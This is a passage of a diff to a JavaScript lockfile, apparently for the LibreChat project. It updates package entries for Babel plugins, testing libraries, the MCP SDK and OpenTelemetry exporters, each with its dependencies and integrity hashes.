["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="], - - "@librechat/frontend/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="], - - "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="], - - "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="], - - "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="], - - "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="], + "@librechat/backend/@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], "@librechat/frontend/@react-spring/web/@react-spring/animated": ["@react-spring/animated@9.7.5", "", { "dependencies": { "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-Tqrwz7pIlsSDITzxoLS3n/v/YCUHQdOIKtOJf4yL6kYVSDTSmVK1LI1Q3M/uu2Sx4X3pIWF3xLUhlsA6SPNTNg=="], @@ -7121,31 +7023,49 @@ "@librechat/frontend/@testing-library/jest-dom/dom-accessibility-api": ["dom-accessibility-api@0.5.16", "", {}, "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg=="], + "@librechat/frontend/@testing-library/jest-dom/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + + "@librechat/frontend/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "@librechat/frontend/framer-motion/motion-dom": ["motion-dom@11.18.1", "", { "dependencies": { "motion-utils": "^11.18.1" } }, "sha512-g76KvA001z+atjfxczdRtw/RXOM3OMSdd1f4DL77qCTF/+avrRJiawSG4yDibEQ215sr9kpinSlX2pCTJ9zbhw=="], "@librechat/frontend/framer-motion/motion-utils": ["motion-utils@11.18.1", "", {}, "sha512-49Kt+HKjtbJKLtgO/LKj9Ld+6vw9BjH5d9sc40R/kVyH8GLAXgT42M2NnuPcJNuA3s9ZfZBUcwIgpmZWGEE+hA=="], - "@librechat/frontend/jest-environment-jsdom/@jest/environment": ["@jest/environment@29.7.0", "", { "dependencies": { "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/node": "*", "jest-mock": "^29.7.0" } }, "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw=="], - - "@librechat/frontend/jest-environment-jsdom/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="], - - "@librechat/frontend/jest-environment-jsdom/@types/jsdom": ["@types/jsdom@20.0.1", "", { "dependencies": { "@types/node": "*", "@types/tough-cookie": "*", "parse5": "^7.0.0" } }, "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom": ["jsdom@20.0.3", "", { "dependencies": { "abab": "^2.0.6", "acorn": "^8.8.1", "acorn-globals": "^7.0.0", "cssom": "^0.5.0", "cssstyle": "^2.3.0", "data-urls": "^3.0.2", "decimal.js": "^10.4.2", "domexception": "^4.0.0", "escodegen": "^2.0.0", "form-data": "^4.0.0", "html-encoding-sniffer": "^3.0.0", "http-proxy-agent": "^5.0.0", "https-proxy-agent": "^5.0.1", "is-potential-custom-element-name": "^1.0.1", "nwsapi": "^2.2.2", "parse5": "^7.1.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^4.1.2", "w3c-xmlserializer": "^4.0.0", "webidl-conversions": "^7.0.0", "whatwg-encoding": "^2.0.0", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0", "ws": "^8.11.0", "xml-name-validator": "^4.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ=="], - "@mcp-ui/client/@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="], + "@mcp-ui/client/@modelcontextprotocol/sdk/express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="], + "@mcp-ui/client/@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="], + "@mcp-ui/client/@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="], + "@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], "@node-saml/passport-saml/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="], "@node-saml/passport-saml/@types/express/@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="], - "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg=="], + "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], - "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/@opentelemetry/sdk-logs": ["@opentelemetry/sdk-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA=="], + "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + + "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, 